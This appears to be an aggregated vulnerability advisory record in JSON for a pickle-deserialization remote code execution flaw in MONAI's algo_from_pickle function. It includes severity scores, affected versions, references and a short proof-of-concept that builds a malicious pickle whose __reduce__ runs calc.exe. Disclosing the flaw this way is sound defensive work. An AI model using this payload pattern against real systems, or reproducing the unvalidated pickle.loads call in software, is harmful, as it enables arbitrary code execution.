{"id":"CVE-2026-100846","aliases":["CVE-2026-100846","GHSA-89gg-p5r5-q6r4","PYSEC-2026-4021"],"related":[],"kind":"vulnerability","state":"published","title":"MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization","summary":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.\n\n### Details\npoc\n```\nimport pickle\nimport subprocess\nclass MaliciousAlgo:\n    def __reduce__(self):\n        return (subprocess.call, (['calc.exe'],))\nmalicious_algo_bytes = pickle.dumps(MaliciousAlgo())\n\nattack_data = {\n    \"algo_bytes\": malicious_algo_bytes,  \n     \n}\nattack_pickle_file = \"attack_algo.pkl\"\nwith open(attack_pickle_file, \"wb\") as f:\n    f.write(pickle.dumps(attack_data))\n\n```\nGenerate the malicious file \"attack_algo.pkl\" through POC.\n\n```\nfrom monai.auto3dseg.utils import algo_from_pickle\n\n\nattack_pickle_file = \"attack_algo.pkl\"\nresult = algo_from_pickle(attack_pickle_file)\n```\nUltimately, it will trigger pickle.load through a file to identify the command execution.\n\n<img width=\"909\" height=\"534\" alt=\"image\" src=\"https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f\" />\n\nCauses of the vulnerability:\n```\ndef algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:\n\n    with open(pkl_filename, \"rb\") as f_pi:\n            data_bytes = f_pi.read()\n        data = pickle.loads(data_bytes)\n\n```\n\n\n\n### Impact\nArbitrary code execution\n\nRepair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method","format":"markdown","source":"ghsa"}],"published":"2026-04-07T20:17:21.000Z","modified":"2026-10-08T16:17:00.040Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":8.8,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-502"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"1.5.2","status":"affected"},{"type":"semver","version":"1.5.2","status":"unaffected"}],"vendor":"Project-MONAI","product":"MONAI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.6.0"}],"ecosystem":"PyPI","package":"monai","purl":"pkg:pypi/monai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.5.2"}],"vendor":"project-monai","product":"monai","cpe":"cpe:2.3:a:project-monai:monai:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.5.2"}],"ecosystem":"PyPI","package":"monai","purl":"pkg:pypi/monai","source":"pysec"}],"references":[{"url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-89gg-p5r5-q6r4","tags":["evidence","exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vulncheck.com/advisories/monai-before-1.5.2-remote-code-execution-via-pickle-deserialization","tags":["advisory","third-party-advisory"],"sources":["cvelist","nvd","pysec"]},{"url":"https://github.com/Project-MONAI/MONAI/issues/8874#issuecomment-4752023161","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/Project-MONAI/MONAI/commit/9078a72f3992e49bd4560db510be9ec4ccf972cc","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/Project-MONAI/MONAI","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0","tags":["web"],"sources":["ghsa"]}],"credits":["hnking-star"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-09-30T15:52:35.963Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-100846","url":"https://www.cve.org/CVERecord?id=CVE-2026-100846","licence":"CVE Terms of Use","modified":"2026-10-08T15:22:02.692Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-89gg-p5r5-q6r4","url":"https://github.com/advisories/GHSA-89gg-p5r5-q6r4","licence":"CC-BY-4.0","modified":"2026-10-01T09:26:04.073Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-100846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100846","licence":"Public domain","modified":"2026-10-08T16:17:00.040Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-4021","url":"https://osv.dev/vulnerability/PYSEC-2026-4021","licence":"CC-BY-4.0","modified":"2026-10-01T09:15:05.348Z"}],"updatedAt":"2026-11-25T22:59:41.256Z","epss":{"score":0.00361,"percentile":0.31935,"date":"2026-12-01T12:00:22.000Z"}}